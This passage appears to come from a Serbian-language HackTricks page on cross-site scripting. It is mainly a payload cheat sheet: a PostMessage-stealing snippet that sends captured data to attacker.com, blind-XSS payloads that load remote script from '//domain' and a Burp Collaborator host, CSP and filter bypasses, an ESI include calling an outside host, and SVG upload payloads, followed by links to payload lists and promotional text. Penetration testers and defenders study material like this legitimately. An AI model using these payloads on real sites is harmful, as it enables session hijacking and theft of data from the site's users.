Krađa PostMessage poruka
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Zloupotreba servisnih radnika
{% content-ref url="abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
Pristupanje Shadow DOM-u
{% content-ref url="shadow-dom.md" %} shadow-dom.md {% endcontent-ref %}
Poliglot
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
Slepi XSS payloadi
Takođe možete koristiti: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Regex - Pristup Skrivenom Sadržaju
Iz ovog izveštaja moguće je saznati da, čak i ako neki vrednosti nestanu iz JS-a, i dalje je moguće pronaći ih u JS atributima u različitim objektima. Na primer, unos REGEX-a je i dalje moguće pronaći nakon što je vrednost unosa regex-a uklonjena:
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
Brute-Force Lista
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
XSS Zloupotreba drugih ranjivosti
XSS u Markdown-u
Možete li ubrizgati Markdown kod koji će biti renderovan? Možda možete dobiti XSS! Proverite:
{% content-ref url="xss-in-markdown.md" %} xss-in-markdown.md {% endcontent-ref %}
XSS do SSRF
Imate XSS na sajtu koji koristi keširanje? Pokušajte da to unapredite na SSRF kroz Edge Side Include Injection sa ovim payload-om:
<esi:include src="http://yoursite.com/capture" />
Use it to bypass cookie restrictions, XSS filters and much more!
Više informacija o ovoj tehnici ovde: XSLT.
XSS u dinamički kreiranim PDF-ovima
Ako web stranica kreira PDF koristeći korisnički kontrolisani unos, možete pokušati da prevarite bot koji kreira PDF da izvrši proizvoljni JS kod.
Dakle, ako bot za kreiranje PDF-a pronađe neku vrstu HTML tagova, on će ih interpretirati, i možete iskoristiti ovo ponašanje da izazovete Server XSS.
{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}
Ako ne možete da injektujete HTML tagove, možda bi bilo korisno pokušati da injektujete PDF podatke:
{% content-ref url="pdf-injection.md" %} pdf-injection.md {% endcontent-ref %}
XSS u Amp4Email
AMP, usmeren na ubrzanje performansi web stranica na mobilnim uređajima, uključuje HTML tagove dopunjene JavaScript-om kako bi osigurao funkcionalnost sa naglaskom na brzinu i sigurnost. Podržava niz komponenti za različite funkcije, dostupnih putem AMP komponenti.
Format AMP za Email proširuje specifične AMP komponente na emailove, omogućavajući primaocima da interaguju sa sadržajem direktno unutar svojih emailova.
Primer writeup XSS u Amp4Email u Gmail-u.
XSS učitavanje fajlova (svg)
Učitajte kao sliku fajl poput sledećeg (sa http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Find više SVG payloads u https://github.com/allanlw/svg-cheatsheet
Razne JS trikovi i relevantne informacije
{% content-ref url="other-js-tricks.md" %} other-js-tricks.md {% endcontent-ref %}
XSS resursi
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
If you are interested in hacking career and hack the unhackable - we are hiring! (tečno poljski pisano i govorno potrebno).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.